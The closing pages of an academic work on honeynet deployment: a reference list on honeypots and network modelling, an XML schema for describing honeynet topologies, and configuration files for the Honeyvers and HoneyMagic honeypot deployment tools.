- [133] S. Schindler, B. Schnor, and T. Scheffler, "Hyhoneypot: A hybrid honeypot architecture for ipv6 networks," International Journal of Intelligent Computing Research, vol. 6, 2015.
- [134] C. Kreibich and J. Crowcroft, "Honeycomb — Creating Intrusion Detection Signatures Using Honeypots," 2nd Workshop on Hot Topics in Networks (HotNets-II), 2003, Boston, USA.
- [135] J. Case, M. Fedor, M. Schoffstall, J. Davin, "Simple Network Management Protocol," (SNMP), RFC 1157, May 1990.

- [136] M. Bjorklund, "YANG-A Data Modeling Language for the Network Configuration Protocol," (NETCONF), RFC 6020, October 2010.
- [137] R. Enns, M. Bjorklund, J. Schoenwaelder, A. Bierman, "Network Configuration Protocol," (NETCONF), RFC 6241, June 2011.
- [138] Grosso, P., Dijkstra, F., Ham, J.J. van der & Laat, C.T.A.M. de, "Network Description Language -- Semantic Web For Hybrid Networks," In Terena Networking Conference 2007.
- [139] Jeroen van der Ham; Freek Dijkstra; Roman Łapacz; Aaron Brown, "The Network Markup Language (NML) A Standardized Network Topology Abstraction for Inter-domain and Cross-layer Network Applications," TNC 2013.
- [140] Mattijs Ghijsen, Jeroen van der Ham, Paola Grosso, Cosmin Dumitru, Hao Zhu, Zhiming Zhao and Cees de Laat, "A Semantic-Web Approach for Modeling Computing Infrastructures," *Computers and Electrical Engineering*, 39(80), 2553-2565, 2013.
- [141] M. Ghijsen, J. van der Ham, P. Grosso, C. T. A. M. de Laat, "Towards an Infrastructure Description Language for Modeling Computing Infrastructures," *Proceedings of 2012 IEEE 10th International Symposium on Parallel and Distributed Processing with Applications (ISPA)*, pp. 207-214, 2012.
- [142] A. Luntovskyy, T. Trofimova, N. Trofimova, D. Gütter, and A. Schill, "To a Proposal towards Standardization of Network Design Markup Language," in *International Network Optimization Conference (INOC'07)*, Spa, Belgium, April 2007
- [143] Machida, F.; Andrade, E.; Dong Seong Kim; Trivedi, K.S., "Candy: Component-based Availability Modeling Framework for Cloud Service Management Using SysML," *Proceedings of 30th IEEE Symposium on Reliable Distributed Systems (SRDS)*, vol., no., pp.209,218, 4-7 Oct. 2011
- [144] Koslovski, Guilherme Piegas, Pascale Vicat-Blanc Primet, and Andrea Schwertner Charao, "VXDL: Virtual resources and interconnection networks description language," In *Networks for Grid Applications*, pp. 138-154. Springer Berlin Heidelberg, 2009.
- [145] DMTF. (2015). *Common Information Model* [Online]. Available: <http://dmtf.org/standards/cim>
- [146] Chun, Brent, David Culler, Timothy Roscoe, Andy Bavier, Larry Peterson, Mike Wawrzoniak, and Mic Bowman. "Planetlab: an overlay testbed for broad-coverage services." *ACM SIGCOMM Computer Communication Review* 33, no. 3, pp. 3-12, 2003.
- [147] Raytheon BBN Technologies (2015). *GENI* [Online]. Available: <http://www.geni.net/>
- [148] Plone Foundation (2000-2015). *ProtoGENI RSpec* [Online]. Available: <http://www.protogeni.net/trac/protogeni/wiki/RSpec>
- [149] GENI (2015). *RSpec* [Online]. Available: <http://groups.geni.net/geni/wiki/GENIExperimenter/RSpecs>

- [150] Andreozzi, Sergio, Stephen Burke, Felix Ehm, Laurence Field, Gerson Galang, Balazs Konya, Maarten Litmaath, Paul Millar, and J. P. Navarro. "GLUE Specification v. 2.0." In Open Grid Forum Recommendation Documents. Open Grid Forum, 2009.
- [151] Goldsack, Patrick, Julio Guijarro, Steve Loughran, Alistair Coles, Andrew Farrell, Antonio Lain, Paul Murray, and Peter Toft. "The SmartFrog configuration management framework." *ACM SIGOPS Operating Systems Review* 43, no. 1, pp. 16-25, 2009.
- [152] Bossung, Sebastian, Hermann Stoeckle, John Grundy, Robert Amor, and John Hosking. "Automated data mapping specification via schema heuristics and user interaction." In *Proceedings of the 19th IEEE international conference on Automated software engineering*, pp. 208-217. IEEE Computer Society, 2004.
- [153] Manakanatas, Dimitris, and Dimitris Plexousakis. "A Tool for Semi-Automated Semantic Schema Mapping: Design and Implementation." *InDISWEB*. 2006.
- [154] Garcia-Sanchez, Pablo, Juan Luís Jiménez Laredo, Juan P. Sevilla, Pedro Castillo, and J. J. Merelo. "Improved evolutionary generation of XSLT stylesheets." *arXiv preprint arXiv:0803.1926* (2008).
- [155] Fagin, Ronald, Laura M. Haas, Mauricio Hernández, Renée J. Miller, Lucian Popa, and Yannis Velegrakis. "Clio: Schema mapping creation and data exchange." In *Conceptual Modeling: Foundations and Applications*, pp. 198-236. Springer Berlin Heidelberg, 2009.
- [156] Cappellari, Paolo, Denilson Barbosa, and Paolo Atzeni. "A framework for automatic schema mapping verification through reasoning." In *Data Engineering Workshops (ICDEW), 2010 IEEE 26th International Conference on*, pp. 245-250. IEEE, 2010.
- [157] Andrej Binder, Tomas Boros, and Ivan Kotuliak. "A SDN Based Method of TCP Connection Handover." In *proceedings of the third IFIP TC 5/8 International Conference, ICT-EurAsia 2015, and 9th IFIP WG 8.9 Working Conference, CONFENIS 2015, Held as Part of WCC 2015*, pp. 13-19, Daejeon, Korea, October 4-7, 2015.
- [158] C. J. Chung, P. Khatkar, T. Xing, J. Lee and D. Huang, "NICE: Network Intrusion Detection and Countermeasure Selection in Virtual Network Systems," in *IEEE Transactions on Dependable and Secure Computing*, vol. 10, no. 4, pp. 198-211, July-Aug. 2013.
- [159] Smart Matthew, G. Robert Malan, and Farnam Jahanian, "Defeating TCP/IP Stack Fingerprinting." *Usenix Security Symposium*. 2000.
- [160] W. Han, Z. Zhao, A. Doupe, and G.-J. Ahn, "Honeymix: Toward sdn-based intelligent honeynet," in *Proceedings of the 2016 ACM International Workshop on Security in Software Defined Networks, Network Function Virtualization*, ser. *SDN-NFV Security '16*. New York, NY, USA: ACM, 2016, pp. 1–6.

Appendix I TIHDL schema

```
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!--Author: Wenjun FAN @UPM email:efan@dit.upm.es-->
<!--definition of simple types-->
<xs:simpleType name="netstat">
  <xs:restriction base="xs:string">
    <xs:enumeration value="up" />
    <xs:enumeration value="down" />
  </xs:restriction>
</xs:simpleType>
<xs:simpleType name="ifstat">
  <xs:restriction base="xs:string">
    <xs:enumeration value="up" />
    <xs:enumeration value="down" />
  </xs:restriction>
</xs:simpleType>
<xs:simpleType name="servstat">
  <xs:restriction base="xs:string">
    <xs:enumeration value="running" />
    <xs:enumeration value="stopped" />
  </xs:restriction>
</xs:simpleType>
<xs:simpleType name="sftwstat">
  <xs:restriction base="xs:string">
    <xs:enumeration value="installed" />
    <xs:enumeration value="removed" />
  </xs:restriction>
</xs:simpleType>
<xs:simpleType name="sysstat">
  <xs:restriction base="xs:string">
    <xs:enumeration value="running" />
    <xs:enumeration value="suspended" />
    <xs:enumeration value="Hibernated" />
    <xs:enumeration value="shutdown" />
    <xs:enumeration value="destroy" />
  </xs:restriction>
</xs:simpleType>

<!-- definition of simple elements -->
```

```

<xs:element name="name" type="xs:string" />
<xs:element name="network_ip_prefix" type="xs:string"/>
<xs:element name="mac_addr" type="xs:string"/>
<xs:element name="ipv4" type="xs:string"/>
<xs:element name="ipv6" type="xs:string"/>
<xs:element name="interaction_level" type="xs:string"/>
<xs:element name="dst" type="xs:string" default="defaule"/>
<xs:element name="gw" type="xs:string"/>
<xs:element name="version" type="xs:string"/>
<xs:element name="port" type="xs:integer"/>

<!-- definition of attributes -->
<xs:attribute name="id" type="xs:integer" />
<xs:attribute name="net" type="xs:string" />
<xs:attribute name="dev" type="xs:string"/>

<!-- definition of complex elements -->
<xs:element name="net">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="network_ip_prefix" minOccurs="0" maxOccurs="1"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="netstat"/>
  </xs:complexType>
</xs:element>

<xs:element name="if">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="mac_addr" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="ipv4" minOccurs="0" maxOccurs="1"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute ref="net" use="required" />
    <xs:attribute name="status" type="ifstat"/>
  </xs:complexType>
</xs:element>

<!--route-->

```



```

<xs:element name="route">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="dst" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="gw" minOccurs="0" maxOccurs="1"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required"/>
    <xs:attribute ref="dev" use="required"/>
  </xs:complexType>
</xs:element>

<xs:element name="operating_system">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="version" minOccurs="1" maxOccurs="1"/>
    </xs:sequence>
  </xs:complexType>
</xs:element>

<xs:element name="software">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="version" minOccurs="1" maxOccurs="1"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="sftwstat"/>
  </xs:complexType>
</xs:element>

<xs:element name="service">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="port" minOccurs="1" maxOccurs="1"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="servstat"/>
  </xs:complexType>
</xs:element>

```

```

<xs:element name="computersystem">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="if" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="route" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="operating_system" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="software" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="service" minOccurs="0" maxOccurs="unbounded"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="sysstat"/>
  </xs:complexType>
</xs:element>

<xs:element name="router">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element name="status" type="sysstat" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="if" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="route" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="operating_system" minOccurs="0" maxOccurs="1"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="sysstat"/>
  </xs:complexType>
</xs:element>

<xs:element name="honeypot">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="interaction_level" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="if" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="route" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="operating_system" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="software" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="service" minOccurs="0" maxOccurs="unbounded"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="sysstat"/>
  </xs:complexType>
</xs:element>

```

```

    </xs:complexType>
</xs:element>

<xs:element name="containmentgateway">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="if" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="route" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="operating_system" minOccurs="0" maxOccurs="1"/>
      <xs:element ref="software" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="service" minOccurs="0" maxOccurs="unbounded"/>
    </xs:sequence>
    <xs:attribute ref="id" use="required" />
    <xs:attribute name="status" type="sysstat"/>
  </xs:complexType>
</xs:element>

<xs:element name="honeynet">
  <xs:complexType>
    <xs:sequence>
      <xs:element ref="name" minOccurs="1" maxOccurs="1"/>
      <xs:element ref="net" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="router" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="computersystem" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="containmentgateway" minOccurs="0" maxOccurs="unbounded"/>
      <xs:element ref="honeypot" minOccurs="0" maxOccurs="unbounded"/>
    </xs:sequence>
  </xs:complexType>
</xs:element>

</xs:schema>

```

Appendix II Honeyvers Configuration File

```
#####  
**          Honeyvers Configuration File          **  
#####  
# The configuration of Honeyvers is divided into three sections;  
# - main: where the main parameters are defined  
# - tool: where the parameters of honeypots are defined  
# - specification: where the individual parameters of deployment tools are defined  
  
##main configuration  
config {  
    install_directory = /usr/share/honeygen/;  
    #configuration_directory = /etc/honeygen/;  
    #exec_directory = /var/run/;  
    #log_directory = /var/log/honeygen/;  
    #log_file = honeygen.log;  
    platform = hybrid; #vnx, honeyd, hybrid, CIM  
    #mode = single; #hybrid  
}  
  
##honeypot distributed deployment tool  
tool "interaction_level" {  
    'hybrid'=>{  
        high = kvm;  
        medium = lxc;  
        low = honeyd;  
        default = lxc  
    }  
    'vnx' => {  
        high = kvm;  
        medium = lxc;  
        low = lxc;  
        default = lxc  
    },  
    'honeyd'=>{  
        high = honeyd;  
        medium = honeyd;  
        low = honeyd;  
        default = honeyd  
    }  
}
```

```

##tool specification
honeyd "filesystem"{
    "Microsoft Windows XP Professional"=>{
        "SP1" = "Microsoft Windows XP Professional SP1"
    };
    "Linux"=>{
        "2.4.20" = "Linux 2.4.20"
    };
    "Sun Solaris"=>{
        "9" = "Sun Solaris 9"
    };
    "Cisco 7206"=>{
        "IOS 11.1" = "Cisco 7206 running IOS 11.1(24)"
    }
}
honeyd "service"{
    ftp = /usr/share/honeyd/scripts/unix/linux/ftp.sh;
    ssh = /usr/share/honeyd/scripts/unix/linux/suse8.0/ssh.sh;
    telnet = /usr/share/honeyd/scripts/telnet/faketelnet.pl;
    smtp = /usr/share/honeyd/scripts/smtp.pl;
    http = /usr/share/honeyd/scripts/web.sh;
    snmp = /usr/share/honeyd/scripts/snmp/fake-snmp.pl;
    default = "proxy \${psrc}:";
}
honeyd "mode"{
    #exec_mode = "-d"; #debug
    exec_mode = ""; #nondebug
}

kvm {
    "Windows XP Professional"=>{
        "SP2"=> {
            filesystem = filesystems/winxp_pro_sp2_kvm.qcow2;
            service => {
            }
        }
    },
    "Windows 7 Professional"=>{
        "SP1"=> {
            filesystem = filesystems/win7_pro_sp1_kvm.qcow2;
            service =>{
            }
        }
    }
}

```

```

    }
},
"ubuntu"=>{
    "11.10"=>{
        filesystem = filesystems/remnux_5_kvm.qcow2;
        service=>{
        }
    },
    "14.10"=>{
        filesystem = filesystems/ubuntu14.10_firewallbuilder_kvm.qcow2;
        service=>{
        }
    }
},
"xubuntu"=>{
    "12.04"=>{
        filesystem = filesystems/honeydrive_3_kvm.qcow2;
        service=>{
        }
    }
},
"honeywall"=>{
    "1.4"=>{
        filesystem = filesystems/honeywall_1.4_kvm.qcow2;
        service=>{
        }
    }
},
default = filesystems/remnux_5_kvm.qcow2
}

```

```

lxc {
    "ubuntu"=>{
        "13.10"=>{
            filesystem = "filesystems/ubuntu_13.10_iptable_lxc";
            service=>{
            }
        },
        "12.04"=>{
            filesystem = filesystems/honeydrive_ubuntu_12.10_lxc;
            service=>{
                glastopf = "glastopf-runner";
            }
        }
    }
}

```

```
    thpot = "/usr/share/thpot/iptables.rules";
    dionaea = "/opt/dionaea/dionaea/src/dionaea -r /opt/dionaea";
    amun = "/opt/amun/python amun_server.py";
  }
}
},
default = filesystems/honeydrive_ubuntu_12.10_lxc
}
```

Appendix III HoneyMagic Configuration File

```
#####  
#*           HoneyMagic Configuration File           *#  
#####  
# The configuration of HoneyMagic is divided into two sections;  
# - main: where the main parameters are defined  
# - specification: where the individual parameters of honeypots are defined  
  
##main configuration  
[main]  
log_dir = /tmp  
alert_file = /tmp/alert  
pcap_file = /tmp/test.pcap  
snort_conf = /etc/snort/snort.conf  
snort_rules = /etc/snort/rules/myrules.rules  
mainflow-dpid = 2  
  
##Honeypot's IP address  
[10.1.1.2]  
ovs-dpid = 2  
MAC = 02:fd:00:00:02:01  
MIH = Net1-MIH  
HIH = Net1-HIH  
LIH-services = {'http':80, 'smtp':25, 'telnet':23, 'ssh':22, 'ftp':21}
```